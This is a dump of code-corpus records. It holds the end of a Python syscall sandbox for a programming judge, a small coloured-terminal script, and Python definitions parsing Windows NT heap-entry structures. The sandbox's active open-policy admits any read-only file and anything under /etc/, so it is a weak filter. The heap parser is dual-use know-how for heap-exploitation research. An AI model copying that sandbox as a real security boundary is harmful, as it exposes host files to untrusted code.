added here\n\t\t3, # close\n\t\t4, # stat\n\t\t6, # lstat\n\t\t13, # rt_sigaction\n\t\t14, # rt_sigprocmask\n\t\t15, # rt_sigreturn\n\t\t21, # access\n\t\t#22, # pipe MATLAB\n\t\t32, # dup\n\t\t33, # dup3\n\t\t39, # getpid MATLAB\n\t\t#41, # sendfile MATLAB **CONSIDER**\n\t\t#42, # socket MATLAB **CONSIDER**\n\t\t#43, # connect MATLAB **CONSIDER**\n\t\t#56, # clone MATLAB THIS IS A NO-NO. Breaks sandbox.\n\t\t#59, # execve MATLAB ** CONSIDER **\n\t\t#61, # wait4 MATLAB\n\t\t72, # fcntl\n\t\t78, # getdents\n\t\t79, # getcwd\n\t\t#80, # chdir MATLAB **CONSIDER**\n\t\t89, # readlink\n\t\t97, # getrlimit\n\t\t100, # times\n\t\t102, # getuid\n\t\t104, # getgid\n\t\t107, # geteuid\n\t\t108, # getegid\n\t\t#110, # getppid MATLAB\n\t\t#111, # getpgrp MATLAB\n\t\t202, # futex\n\t\t#203, # sched_setaffinity MATLAB\n\t\t#204, # sched_getaffinity MATLAB\n\t\t218, # set_tid_address\n\t\t#257, # openat MATLAB ***CONSIDER***\n\t\t#269, # faccessat MATLAB\n\t\t273, # set_robust_list\n\t])\n\n\tdef __init__(self, sbox, extraPaths = [], extraWriteablePaths = []):\n\t\tassert(isinstance(sbox, Sandbox))\n\t\tself.READABLE_FILE_PATHS += extraPaths\n\t\tself.WRITEABLE_FILE_PATHS += extraWriteablePaths\n\n\t\t# initialize table of system call rules\n\t\tself.sc_table = [self._KILL_RF, ] * 1024\n\t\tfor scno in self.sc_safe[os.uname()[4]]:\n\t\t\tself.sc_table[scno] = self._CONT\n\t\tself.sbox = sbox\n\t\tself.error = 'UNKNOWN ERROR. PLEASE REPORT'\n\n\tdef __call__(self, e, a):\n\t\text = e.ext0 if arch() == 'x86_64' else 0\n\t\tif e.type == S_EVENT_SYSCALL and (e.data, ext) == self.SC_open:\n\t\t\treturn self.SYS_open(e, a)\n\n\t\telif e.type == S_EVENT_SYSCALL and (e.data, ext) == self.SC_unlink:\n\t\t\treturn self.SYS_unlink(e, a)\n\n\t\telif e.type == S_EVENT_SYSRET and (e.data, ext) == self.SC_unlink:\n\t\t\treturn self._CONT(e, a) # allow return from unlink\n\n\t\telif e.type in (S_EVENT_SYSCALL, S_EVENT_SYSRET):\n\t\t\tif machine == 'x86_64' and e.ext0 != 0:\n\t\t\t\treturn self._KILL_RF(e, a)\n\t\t\telif (e.data, ext) == self.SC_unlink and e.type == S_EVENT_SYSCALL:\n\t\t\t\treturn self.SYS_unlink(e, a)\n\t\t\telse:\n\t\t\t\treturn self.sc_table[e.data](e, a)\n\n\t\telse:\n\t\t\t# bypass other events to base class\n\t\t\treturn SandboxPolicy.__call__(self, e, a)\n\n\tdef _CONT(self, e, a): # continue\n\t\ta.type = S_ACTION_CONT\n\t\treturn a\n\n\tdef _KILL_RF(self, e, a): # restricted func.\n\t\tself.error = \"ILLEGAL SYSTEM CALL (#{0})\".format(e.data)\n\t\ta.type, a.data = S_ACTION_KILL, S_RESULT_RF\n\t\treturn a\n\n\tdef SYS_open(self, e, a):\n\t\tpathBytes, mode = self.sbox.dump(T_STRING, e.ext1), e.ext2\n\t\tpath = pathBytes.decode('utf8').strip()\n\t\tpath = collapseDotDots(path)\n\n\t\tif '..' in path:\n\t\t\t# Kill any attempt to work up the file tree\n\t\t\tself.error = \"ILLEGAL FILE ACCESS ({0},{1})\".format(path, mode)\n\t\t\treturn SandboxAction(S_ACTION_KILL, S_RESULT_RF)\n\t\telif not path.startswith('/'):\n\t\t\t# Allow all access to the current directory (which is a special directory in /tmp)\n\t\t\treturn SandboxAction(S_ACTION_CONT)\n\t\telse:\n\t\t\tfor prefix in self.READABLE_FILE_PATHS + self.WRITEABLE_FILE_PATHS:\n\t\t\t\tif path.startswith(prefix):\n\t\t\t\t\tif (prefix in self.WRITEABLE_FILE_PATHS or\n\t\t\t\t\t\t\t\tmode == O_RDONLY or\n\t\t\t\t\t\t\t\tmode == O_RDONLY|self.O_CLOEXEC):\n\t\t\t\t\t\treturn SandboxAction(S_ACTION_CONT)\n\t\t\tself.error = \"ILLEGAL FILE ACCESS ({0},{1})\".format(path, mode)\n\t\t\treturn SandboxAction(S_ACTION_KILL, S_RESULT_RF)\n\n\tdef SYS_unlink(self, e, a):\n\t\tpathBytes = self.sbox.dump(T_STRING, e.ext1)\n\t\tpath = pathBytes.decode('utf8')\n\t\tif path.startswith('/tmp/'):\n\t\t\treturn self._CONT(e, a)\n\t\telse:\n\t\t\tself.error = \"Attempt to unlink {0}\".format(path)\n\t\t\treturn SandboxAction(S_ACTION_KILL, S_RESULT_RF)\n\tpass\n'''\nclass SelectiveOpenPolicy(SandboxPolicy):\n\tSC_open = ((2, 0), (5, 1)) if machine() == 'x86_64' else (5, )\n\tsc_safe = dict( # white list of essential linux syscalls\n\t\ti686 = set([3, 4, 19, 45, 54, 90, 91, 122, 125, 140, 163, \\\n\t\t\t\t\t192, 197, 224, 243, 252, ]),\n\t\tx86_64 = set([0, 1, 2, 5, 8, 9, 10, 11, 12, 16, 25, 63, 158, 231, ])\n\t)\n\tdef __init__(self, sbox):\n\t\tassert(isinstance(sbox, Sandbox))\n\t\tself.sbox = sbox\n\t\tself.sc_table = [self._KILL_RF, ] * 1024\n\t\tfor scno in self.sc_safe[machine()]:\n\t\t\tself.sc_table[scno] = self._CONT\n\tdef __call__(self, e, a):\n\t\tif e.type == S_EVENT_SYSCALL:\n\t\t\tsc = (e.data, e.ext0) if machine() == 'x86_64' else e.data\n\t\t\tif sc in self.SC_open:\n\t\t\t\treturn self.SYS_open(e, a)\n\t\treturn super(SelectiveOpenPolicy, self).__call__(e, a)\n\tdef _CONT(self, e, a): # continue\n\t\ta.type = S_ACTION_CONT\n\t\treturn a\n\tdef _KILL_RF(self, e, a): # restricted func.\n\t\ta.type, a.data = S_ACTION_KILL, S_RESULT_RF\n\t\treturn a\n\tdef SYS_open(self, e, a):\n\t\tpath, mode = self.sbox.dump(T_STRING, e.ext1), e.ext2\n\t\tif path is None: # e.ext1 is an invalid address\n\t\t\treturn SandboxAction(S_ACTION_KILL, S_RESULT_RT)\n\t\tlibPos = path.find(b\"/lib/\")\n\t\tif mode == O_RDONLY or path == b\"/etc/ld.so.cache\" or libPos == 0 or libPos == 4 or path.find(b\"/proc/meminfo\") == 0 or path.find(b\"/dev/urandom\") == 0 or path.find(b\"/etc/\") == 0:\n\t\t\treturn SandboxAction(S_ACTION_CONT)\n\t\t#if mode != O_RDONLY:\n\t\t\t#print(path)\n\t\t#if path == b\"./test3.py\" and mode == O_RDONLY:\n\t\t#return SandboxAction(S_ACTION_CONT)\n\t\treturn SandboxAction(S_ACTION_KILL, S_RESULT_RF)\n\tpass\n\nresult_name = dict((getattr(Sandbox, 'S_RESULT_%s' % i), i) for i in \\\n\t('PD', 'OK', 'RF', 'RT', 'TL', 'ML', 'OL', 'AT', 'IE', 'BP'))\n\nif __name__ == '__main__':\n\ts = Sandbox([\"/usr/bin/python3\", sys.argv[1]], quota=dict(wallclock=int(sys.argv[2])+1500, cpu=int(sys.argv[2]), memory=2**int(sys.argv[3]), disk=1048576)) \n\ts.quota \n\ts.policy = SelectiveOpenPolicy(s)\n\ts.run() \n\trdict = s.probe()\n\trdict['result'] = result_name.get(s.result, 'NA')\n\teprint(json.dumps(rdict))", "source": "sungmaster/teajudge", "license": "MIT"} {"text": "r = '\\033[31m' # red\nb = '\\033[34m' # blue\ng = '\\033[32m' # green\ny = '\\033[33m' # yellow\nf = '\\33[m'\n\nbb = '\\033[44m' # backgournd blue\n\ndef tela(mensagem, colunatxt=5):\n espaco = bb + ' ' + f\n mensagem = bb + y + mensagem \n for i in range(12):\n print('')\n if i == 5:\n \n print(espaco * colunatxt + mensagem + espaco*(50 - (len(mensagem)-colunatxt)), end='') \n else:\n for ii in range(50):\n print(espaco, end='')\n\n print()\n\ntela('aqui tem uma mensagem escrita')", "source": "jonasht/Python", "license": "MIT"} {"text": "### Implement the WIN64 version of this.\nimport functools, itertools, types, builtins, operator\nimport sys, math, logging\n\nimport ptypes\nfrom ptypes import bitmap\n\nfrom . import sdkddkver, rtltypes, error\nfrom .datatypes import *\n\nclass SIZE_T64(ULONGLONG): pass\n\nclass HEAP_LOCK(pint.uint32_t): pass\nclass HEAP_SIGNATURE(pint.enum, ULONG):\n _fields_ = [\n ('SegmentHeap', 0xddeeddee),\n ('Heap', 0xeeffeeff),\n ]\n\nif 'HeapMeta':\n class HEAP_BUCKET_COUNTERS(pstruct.type):\n _fields_ = [\n (ULONG, 'TotalBlocks'),\n (ULONG, 'SubSegmentCounts'),\n ]\n def summary(self):\n return \"TotalBlocks:{:#x} SubSegmentCounts:{:#x}\".format(self['TotalBlocks'].int(), self['SubSegmentCounts'].int())\n\n class HEAP_COUNTERS(pstruct.type, versioned):\n def __init__(self, **attrs):\n super(HEAP_COUNTERS, self).__init__(**attrs)\n f = self._fields_ = []\n integral = pint.uint64_t if getattr(self, 'WIN64', False) else SIZE_T\n\n f.extend([\n (integral, 'TotalMemoryReserved'),\n (integral, 'TotalMemoryCommitted'),\n (integral, 'TotalMemoryLargeUCR'),\n (integral, 'TotalSizeInVirtualBlocks'),\n (ULONG, 'TotalSegments'),\n (ULONG, 'TotalUCRs'),\n (ULONG, 'CommittOps'),\n (ULONG, 'DeCommitOps'),\n (ULONG, 'LockAcquires'),\n (ULONG, 'LockCollisions'),\n (ULONG, 'CommitRate'),\n (ULONG, 'DecommittRate'),\n (ULONG, 'CommitFailures'),\n (ULONG, 'InBlockCommitFailures'),\n ])\n\n # < Windows 8.0\n if sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) < sdkddkver.NTDDI_WIN8:\n f.extend([\n (ULONG, 'CompactHeapCalls'),\n (ULONG, 'CompactedUCRs'),\n (ULONG, 'AllocAndFreeOps'),\n ])\n\n # >= Windows 8.0\n elif sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) >= sdkddkver.NTDDI_WIN8:\n f.extend([\n (ULONG, 'PollIntervalCounter'),\n (ULONG, 'DecommitsSinceLastCheck'),\n (ULONG, 'HeapPollInterval'),\n (ULONG, 'AllocAndFreeOps'),\n (ULONG, 'AllocationIndicesActive'),\n ])\n\n f.extend([\n (ULONG, 'InBlockDeccommits'),\n (ULONGLONG if getattr(self, 'WIN64', False) else ULONG, 'InBlockDeccomitSize'),\n (ULONGLONG if getattr(self, 'WIN64', False) else ULONG, 'HighWatermarkSize'),\n (ULONGLONG if getattr(self, 'WIN64', False) else ULONG, 'LastPolledSize'),\n ])\n\n class HEAP_TUNING_PARAMETERS(pstruct.type, versioned):\n def __init__(self, **attrs):\n super(HEAP_TUNING_PARAMETERS, self).__init__(**attrs)\n f = self._fields_ = []\n f.extend([\n (ULONG, 'CommittThresholdShift'),\n (dyn.block(4 if getattr(self, 'WIN64', False) else 0), 'padding(CommittThresholdShift)'),\n (SIZE_T64 if getattr(self, 'WIN64', False) else SIZE_T, 'MaxPreCommittThreshold')\n ])\n\n def summary(self):\n return ' '.join(\"{:s}={:s}\".format(k, v.summary()) for k, v in self.items())\n\n class HEAP_PSEUDO_TAG_ENTRY(pstruct.type, versioned):\n def __init__(self, **attrs):\n super(HEAP_PSEUDO_TAG_ENTRY, self).__init__(**attrs)\n f = self._fields_ = []\n f.extend([\n (ULONG, 'Allocs'),\n (ULONG, 'Frees'),\n (SIZE_T64 if getattr(self, 'WIN64', False) else SIZE_T, 'Size'),\n ])\n\n class HEAP_TAG_ENTRY(pstruct.type):\n _fields_ = [\n (ULONG, 'Allocs'),\n (ULONG, 'Frees'),\n (ULONG, 'Size'),\n (USHORT, 'TagIndex'),\n (USHORT, 'CreatorBackTraceIndex'),\n (dyn.clone(pstr.wstring, length=24), 'TagName')\n ]\n\n class HEAP_DEBUGGING_INFORMATION(pstruct.type, versioned):\n # http://blog.airesoft.co.uk/2010/01/a-whole-heap-of-trouble-part-1/\n _fields_ = [\n (PVOID, 'InterceptorFunction'),\n (WORD, 'InterceptorValue'),\n (ULONG, 'ExtendedOptions'),\n (ULONG, 'StackTraceDepth'),\n (lambda self: SIZE_T64 if getattr(self, 'WIN64', False) else SIZE_T, 'MinTotalBlockSize'),\n (lambda self: SIZE_T64 if getattr(self, 'WIN64', False) else SIZE_T, 'MaxTotalBlockSize'),\n (PVOID, 'HeapLeakEnumerationRoutine'),\n ]\n\n class DPH_BLOCK_INFORMATION(pstruct.type, versioned):\n '''Structure of a Page Heap Block when Full Page Heap is Enabled'''\n # http://msdn.microsoft.com/en-us/library/ms220938(VS.80).aspx\n # http://blogs.cisco.com/security/exploring_heap-based_buffer_overflows_with_the_application_verifier\n class StackTraceInfo(pstruct.type):\n # http://blog.airesoft.co.uk/2010/01/a-whole-heap-of-trouble-part-1/\n _fields_ = [\n (ULONG, 'unk'),\n (ULONG_PTR, 'unk2'),\n (ULONG, 'numFrames'),\n (PVOID, 'ips'),\n ]\n def __init__(self, **attrs):\n super(DPH_BLOCK_INFORMATION, self).__init__(**attrs)\n f = self._fields_ = []\n f.extend([\n (ULONG, 'StartStamp'), # 0xabcdaaaa\n (PVOID, 'Heap'),\n (SIZE_T64 if getattr(self, 'WIN64', False) else SIZE_T, 'RequestedSize'),\n (SIZE_T64 if getattr(self, 'WIN64', False) else SIZE_T, 'ActualSize'),\n (LIST_ENTRY, 'FreeQueue'),\n (PVOID, 'StackTrace'),\n (dyn.block(4) if getattr(self, 'WIN64', False) else dyn.block(0), 'Padding'),\n (ULONG, 'EndStamp'), # 0xdcbaaaaa\n ])\n\n class DPH_HEAP_BLOCK(pstruct.type, versioned):\n def __init__(self, **attrs):\n super(DPH_HEAP_BLOCK, self).__init__(**attrs)\n f = self._fields_ = []\n f.extend([\n (LIST_ENTRY, 'AvailableEntry'),\n (P(UCHAR), 'pUserAllocation'),\n (P(UCHAR), 'pVirtualBlock'),\n (SIZE_T64 if getattr(self, 'WIN64', False) else SIZE_T, 'nVirtualBlockSize'),\n (SIZE_T64 if getattr(self, 'WIN64', False) else SIZE_T, 'nVirtualAccessSize'),\n (SIZE_T64 if getattr(self, 'WIN64', False) else SIZE_T, 'nUserRequestedSize'),\n (SIZE_T64 if getattr(self, 'WIN64', False) else SIZE_T, 'nUserActualSize'),\n (PVOID, 'UserValue'),\n (ULONG, 'UserFlags'),\n (P(rtltypes.RTL_TRACE_BLOCK), 'StackTrace'),\n (LIST_ENTRY, 'AdjacencyEntry'),\n (P(UCHAR), 'pVirtualRegion'),\n ])\n\n class DPH_HEAP_ROOT(pstruct.type, versioned):\n def __init__(self, **attrs):\n super(DPH_HEAP_ROOT, self).__init__(**attrs)\n f = self._fields_ = []\n f.extend([\n (ULONG, 'HeapFlags'),\n (P(HEAP_LOCK), 'HeapCritSect'),\n (ULONG, 'nRemoteLockAcquired'),\n (P(DPH_HEAP_BLOCK), 'pVirtualStorageListHead'),\n (P(DPH_HEAP_BLOCK), 'pVirtualStorageListTail'),\n (ULONG, 'nVirtualStorageRanges'),\n (SIZE_T, 'nVirtualStorageBytes'),\n (rtltypes.RTL_AVL_TABLE, 'BusyNodesTable'),\n (P(DPH_HEAP_BLOCK), 'NodeToAllocate'),\n (ULONG, 'nBusyAllocations'),\n (SIZE_T, 'nBusyAllocationBytesCommitted'),\n (P(DPH_HEAP_BLOCK), 'pFreeAllocationListHead'),\n (P(DPH_HEAP_BLOCK), 'pFreeAllocationListTail'),\n (ULONG, 'nFreeAllocations'),\n (SIZE_T, 'nFreeAllocationBytesCommitted'),\n (LIST_ENTRY, 'AvailableAllocationHead'),\n (ULONG, 'nAvailableAllocations'),\n (SIZE_T, 'nAvailableAllocationBytesCommitted'),\n (P(DPH_HEAP_BLOCK), 'pUnusedNodeListHead'),\n (P(DPH_HEAP_BLOCK), 'pUnusedNodeListTail'),\n (ULONG, 'nUnusedNodes'),\n (SIZE_T, 'nBusyAllocationBytesAccessible'),\n (P(DPH_HEAP_BLOCK), 'pNodePoolListHead'),\n (P(DPH_HEAP_BLOCK), 'pNodePoolListTail'),\n (ULONG, 'nNodePools'),\n (SIZE_T, 'nNodePoolBytes'),\n (LIST_ENTRY, 'NextHeap'),\n (ULONG, 'ExtraFlags'),\n (ULONG, 'Seed'),\n (PVOID, 'NormalHeap'),\n (P(rtltypes.RTL_TRACE_BLOCK), 'CreateStackTrace'),\n (PVOID, 'FirstThread'),\n ])\n\nif 'HeapEntry':\n class HEAP_BUCKET(pstruct.type):\n @pbinary.littleendian\n class _BucketFlags(pbinary.flags):\n _fields_ = [\n (5, 'Reserved'),\n (2, 'DebugFlags'),\n (1, 'UseAffinity'),\n ]\n\n _fields_ = [\n (WORD, 'BlockUnits'),\n (UCHAR, 'SizeIndex'),\n (_BucketFlags, 'BucketFlags'),\n ]\n\n def AllocationCount(self):\n return self['BlockUnits'].li.int() >> 1\n\n class HEAP_ENTRY_EXTRA(pstruct.type):\n def __padding(self):\n size = 8 if getattr(self, 'WIN64', False) else 4\n res = sum(self[fld].li.size() for fld in ['AllocatorBacktraceIndex', 'TagIndex'])\n return dyn.block(size - res)\n\n _fields_ = [\n (USHORT, 'AllocatorBacktraceIndex'),\n (USHORT, 'TagIndex'),\n (__padding, 'padding(AllocatorBacktraceIndex,TagIndex)'),\n (lambda self: ULONGLONG if getattr(self, 'WIN64', False) else ULONG, 'Settable'),\n ]\n\n class HEAP_ENTRY_(pbinary.flags):\n _fields_ = [\n (1, 'NO_COALESCE'), # SETTABLE_FLAG3\n (1, 'FFU2'), # SETTABLE_FLAG2\n (1, 'FFU1'), # SETTABLE_FLAG1\n (1, 'LAST_ENTRY'),\n (1, 'VIRTUAL_ALLOC'),\n (1, 'FILL_PATTERN'),\n (1, 'EXTRA_PRESENT'),\n (1, 'BUSY'),\n ]\n\n class HEAP_ENTRY(pstruct.type, versioned):\n class UnusedBytes(pbinary.flags):\n class _Type(pbinary.enum):\n length, _values_ = 3, [\n ('Chunk', 0),\n ('Segment', 1),\n ('LargeChunk', 4),\n ('Linked', 5),\n ]\n _fields_ = [\n (1, 'AllocatedByFrontend'),\n (3, 'Unknown'),\n (1, 'Busy'),\n (_Type, 'Type'),\n ]\n def FrontEndQ(self):\n return bool(self['AllocatedByFrontend'])\n def BackEndQ(self):\n return not self.FrontEndQ()\n\n def BusyQ(self):\n return bool(self['Busy'])\n def FreeQ(self):\n return not self.BusyQ()\n\n def summary(self):\n frontend = 'FE' if self.FrontEndQ() else 'BE'\n busy = 'BUSY' if self.BusyQ() else 'FREE'\n res = self.item('Type')\n return \"{:s} {:s} Type:{:s}\".format(frontend, busy, res.str())\n\n def __init__(self, **attrs):\n super(HEAP_ENTRY, self).__init__(**attrs)\n f = [\n (dyn.block(8 if getattr(self, 'WIN64', False) else 0), 'PreviousBlockPrivateData')\n ]\n\n if sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) <= sdkddkver.NTDDI_WS03:\n f.extend([\n (USHORT, 'Size'),\n (USHORT, 'PreviousSize'),\n (UCHAR, 'SegmentIndex'),\n (HEAP_ENTRY_, 'Flags'),\n (UCHAR, 'UnusedBytes'),\n (UCHAR, 'TagIndex'),\n ])\n\n elif sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) >= sdkddkver.NTDDI_MAJOR(sdkddkver.NTDDI_WIN7):\n f.extend([\n (USHORT, 'Size'),\n (HEAP_ENTRY_, 'Flags'),\n (UCHAR, 'SmallTagIndex'), # Checksum\n (USHORT, 'PreviousSize'),\n (UCHAR, 'SegmentOffset'), # Size // blocksize\n (HEAP_ENTRY.UnusedBytes, 'UnusedBytes'), # XXX: for some reason this is checked against 0x05\n ])\n\n else:\n raise error.NdkUnsupportedVersion(self)\n self._fields_ = f\n\n def Flags(self):\n return self['UnusedBytes']\n\n def Type(self):\n res = self.Flags()\n return res.item('Type')\n\n def Extra(self):\n # Since this is just a regular HEAP_ENTRY, there's no way to\n # determine extra bytes used by the block. So just return 0 here.\n return 0\n\n def FrontEndQ(self):\n res = self.Flags()\n return True if res['AllocatedByFrontend'] else False\n def BackEndQ(self):\n return not self.FrontEndQ()\n\n def BusyQ(self):\n res = self.Flags()\n return bool(res['Busy'])\n def FreeQ(self):\n return not self.BusyQ()\n\n def summary(self):\n if sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) <= sdkddkver.NTDDI_MAJOR(sdkddkver.NTDDI_WS03):\n res = \"Size={:x} SegmentIndex={:x} PreviousSize={:x} TagIndex={:x}\"\n res = [res.format(self['Size'].int(), self['SegmentIndex'].int(), self['PreviousSize'].int(), self['TagIndex'].int())]\n\n res+= [\"UnusedBytes=({:s})\".format(self['UnusedBytes'].summary())]\n res+= [\"Flags=({:s})\".format(self['Flags'].summary())]\n return ' '.join(res)\n\n elif sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) >= sdkddkver.NTDDI_MAJOR(sdkddkver.NTDDI_WIN7):\n res = \"Size={:x} SmallTagIndex={:x} PreviousSize={:x} SegmentOffset={:x}\"\n res = [res.format(self['Size'].int(), self['SmallTagIndex'].int(), self['PreviousSize'].int(), self['SegmentOffset'].int())]\n\n res+= [\"UnusedBytes=({:s})\".format(self['UnusedBytes'].summary())]\n res+= [\"Flags=({:s})\".format(self['Flags'].summary())]\n return ' '.join(res)\n return super(HEAP_ENTRY, self).summary()\n\n class _HEAP_ENTRY(ptype.encoded_t):\n '''\n This is an internal version of _HEAP_ENTRY that supports encoding/decoding\n the HEAP_ENTRY from either the frontend or the backend.\n '''\n _value_ = HEAP_ENTRY\n\n ## If the user tries to access any field, look in the decoded version first\n def __getitem__(self, name):\n res = self.d.li\n return operator.getitem(res, name)\n def __setitem__(self, name, value):\n res = self.d.li\n return operator.setitem(res, name, value)\n\n ## Output details that correspond to our decoded entry\n def classname(self):\n return self.typename()\n def repr(self):\n return self.details()\n def details(self):\n res = self.d.li.copy(offset=self.getoffset())\n return res.details()\n def summary(self):\n if self.FrontEndQ():\n res = self.serialize()\n return res.encode('hex') if sys.version_info.major < 3 else res.hex()\n bs = 0x10 if getattr(self, 'WIN64', False) else 8\n data, res = self.serialize(), self.d.li\n return \"{:s} : {:-#x} <-> {:+#x} : Flags:{:s}\".format(data.encode('hex') if sys.version_info.major < 3 else data.hex(), -res['PreviousSize'].int() * bs, res['Size'].int() * bs, res['Flags'].summary())\n\n def Flags(self):\n '''Unencoded flags grabbed from the original HEAP_ENTRY'''\n res = self.d.li\n return res.Flags()\n\n def Type(self):\n '''Unencoded type grabbed from the original HEAP_ENTRY'''\n res = self.object\n return res.Type()\n\n def FrontEndQ(self):\n res = self.object\n return res.FrontEndQ()\n\n def BackEndQ(self):\n # Back-to-Front(242)\n res = self.object\n return res.BackEndQ()\n\n def BusyQ(self):\n '''Returns whether the chunk (decoded) is in use or not'''\n # XXX: optimize by checking FrontEndQ which requires decoding\n res = self.d.li\n return res.BusyQ()\n\n def FreeQ(self):\n '''Returns whether the chunk (decoded) is free or not'''\n # XXX: optimize by checking FrontEndQ which requires decoding\n res = self.d.li\n return res.FreeQ()\n\n def Extra(self):\n res = self.object\n\n # If this is a backend chunk, then there's no way to determinue\n # extra bytes. So simply return 0.\n if res.BackEndQ():\n return 0\n\n # Check the bottom 6-bits to determine the unused bytes used by\n # the frontend block\n f = res.Flags()\n unused = f.int() & 0x3f\n\n # Subtract from the header size so we know how many extra bytes\n # are used by the chunk instead of subtracting from the block.\n hs = self.size()\n return hs - (unused or hs)\n\n ## Backend\n class __BE_HEAP_ENTRY(HEAP_ENTRY):\n '''HEAP_ENTRY after decoding'''\n _fields_ = [\n (lambda self: pint.uint64_t if getattr(self, 'WIN64', False) else pint.uint_t, 'ReservedForAlignment'),\n (USHORT, 'Size'),\n (USHORT, 'Checksum'),\n (USHORT, 'PreviousSize'),\n (UCHAR, 'SegmentOffset'),\n (HEAP_ENTRY.UnusedBytes, 'Flags'),\n ]\n\n def Flags(self):\n return self['Flags']\n\n def Extra(self):\n # The backend allocator doesn't support the concept of having\n # extra bytes, so return 0 here.\n return 0\n\n def __init__(self, **attrs):\n return super(HEAP_ENTRY, self).__init__(**attrs)\n\n def summary(self):\n bs = 0x10 if getattr(self, 'WIN64', False) else 8\n return \"{:s} PreviousSize={:+#x} Size={:+#x} SegmentOffset={:#x} Checksum={:#x}\".format(self['Flags'].summary(), -self['PreviousSize'].int() * bs, self['Size'].int() * bs, self['SegmentOffset'].int(), self['Checksum'].int())\n\n class _BE_Encoded(pstruct.type):\n '''\n This type is used strictly for encoding/decoding and is used when\n casting the backing type.\n '''\n _fields_ = [\n (lambda self: pint.uint64_t if getattr(self, 'WIN64', False) else pint.uint_t, 'Unencoded'),\n (dyn.array(pint.uint32_t, 2), 'Encoded'),\n ]\n\n def __GetEncoding(self):\n heap = self.getparent(type=HEAP)\n encoding = heap['Encoding'].li\n return heap['EncodeFlagMask'].li.int(), tuple(item.int() for item in encoding['Keys'])\n\n def __be_encode(self, object, **attrs):\n object = object.cast(self._BE_Encoded)\n\n # Cache some attributes\n if any(not hasattr(self, \"_HEAP_ENTRY_{:s}\".format(name)) for name in {'EncodeFlagMask', 'Encoding'}):\n self._HEAP_ENTRY_EncodeFlagMask, self._HEAP_ENTRY_Encoding = self.__GetEncoding()\n\n # If HEAP.EncodeFlagMask has been set to something, then we'll just use it\n if self._HEAP_ENTRY_EncodeFlagMask:\n iterable = (bitmap.data((encoder ^ item.int(), 32), reversed=True) for item, encoder in zip(object['Encoded'], self._HEAP_ENTRY_Encoding))\n data = object['Unencoded'].serialize() + functools.reduce(operator.add, iterable)\n res = ptype.block().set(data)\n return super(_HEAP_ENTRY, self).encode(res)\n return super(_HEAP_ENTRY, self).encode(object)\n\n def __be_decode(self, object, **attrs):\n object = object.cast(self._BE_Encoded)\n\n # Cache some attributes\n if any(not hasattr(self, \"_HEAP_ENTRY_{:s}\".format(name)) for name in {'EncodeFlagMask', 'Encoding'}):\n self._HEAP_ENTRY_EncodeFlagMask, self._HEAP_ENTRY_Encoding = self.__GetEncoding()\n\n # Now determine if we're encoded, and decode it if so.\n if object['Encoded'][0].int() & self._HEAP_ENTRY_EncodeFlagMask:\n iterable = (bitmap.data((encoder ^ item.int(), 32), reversed=True) for item, encoder in zip(object['Encoded'], self._HEAP_ENTRY_Encoding))\n data = object['Unencoded'].serialize() + functools.reduce(operator.add, iterable)\n res = ptype.block().set(data)\n return super(_HEAP_ENTRY, self).decode(res)\n\n # Otherwise, we're not encoded. So, just pass-through...\n return super(_HEAP_ENTRY, self).decode(object, **attrs)\n\n def __be_summary(self):\n bs = 0x10 if getattr(self, 'WIN64', False) else 8\n data, res = self.serialize(), self.d.li\n return \"{:s} : {:-#x} <-> {:+#x} : Flags:{:s}\".format(data.encode('hex') if sys.version_info.major < 3 else data.hex(), -res['PreviousSize'].int() * bs, res['Size'].int() * bs, res['Flags'].summary())\n\n def ChecksumQ(self):\n if not self.BackEndQ():\n raise error.InvalidHeapType(self, 'ChecksumQ', message='Unable to calculate the checksum for a non-backend type')\n\n if sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) != sdkddkver.NTDDI_MAJOR(sdkddkver.NTDDI_WIN7):\n raise error.IncorrectChunkVersion(self, 'ChecksumQ', version=sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION))\n\n # Calculate checksum (a^9^8 == b)\n res = self.d.li.cast(self._BE_Encoded)\n data = bytearray(res['Encoded'].serialize())\n chk = functools.reduce(operator.xor, data[:3], 0)\n return chk == data[3]\n\n def Size(self):\n '''Return the decoded Size field'''\n if not self.BackEndQ():\n raise error.InvalidHeapType(self, 'Size')\n self = self.d.li\n bs = 0x10 if getattr(self, 'WIN64', False) else 8\n return bs * self['Size'].int()\n\n def PreviousSize(self):\n '''Return the decoded PreviousSize field'''\n if not self.BackEndQ():\n raise error.InvalidHeapType(self, 'Size')\n self = self.d.li\n bs = 0x10 if getattr(self, 'WIN64', False) else 8\n return bs * self['PreviousSize'].int()\n\n ## Frontend\n class __FE_HEAP_ENTRY(HEAP_ENTRY):\n '''HEAP_ENTRY after decoding'''\n class UnusedBytes(HEAP_ENTRY.UnusedBytes):\n # XXX: I think one of these bits (Unknown) is for\n # RtlpLogHeapFailure because this byte is &'d\n # by RtlpAllocateHeap with 0x3f...\n _fields_ = [\n (1, 'AllocatedByFrontend'),\n (1, 'LogFailure'),\n (6, 'Busy'),\n ]\n def BusyQ(self):\n return bool(self['Busy'])\n def FreeQ(self):\n return not self.BusyQ()\n def Unused(self):\n '''Return the number of unused bytes for the chunk.'''\n # Subtract it from our HEAP_ENTRY size so that we convert\n # it from the block's unused bytes to the chunk's unused.\n res = 0x10 if getattr(self, 'WIN64', False) else 8\n return (self['Busy'] or res) - res\n def summary(self):\n frontend = 'FE' if self.FrontEndQ() else 'BE'\n busy = 'BUSY' if self.BusyQ() else 'FREE'\n return \"{:s} {:s}\".format(frontend, busy)\n\n _fields_ = [\n (lambda self: dyn.block(8 if getattr(self, 'WIN64', False) else 0), 'PreviousBlockPrivateData'),\n (lambda self: dyn.clone(PHEAP_SUBSEGMENT, _value_=PVALUE32), 'SubSegment'),\n (USHORT, 'Unknown'), # seems to be diff on 32-bit?\n (UCHAR, 'EntryOffset'),\n (UnusedBytes, 'Flags'),\n ]\n\n def Flags(self):\n return self['Flags']\n\n def BusyQ(self):\n res = self.Flags()\n return res.BusyQ()\n\n def Extra(self):\n res = self.Flags()\n return -res.Unused()\n\n def __init__(self, **attrs):\n return super(HEAP_ENTRY, self).__init__(**attrs)\n\n def summary(self):\n return \"{:s} Extra={:+d} SubSegment=*{:#x} EntryOffset={:#x}\".format(self['Flags'].summary(), self.Extra(), self['SubSegment'].int(), 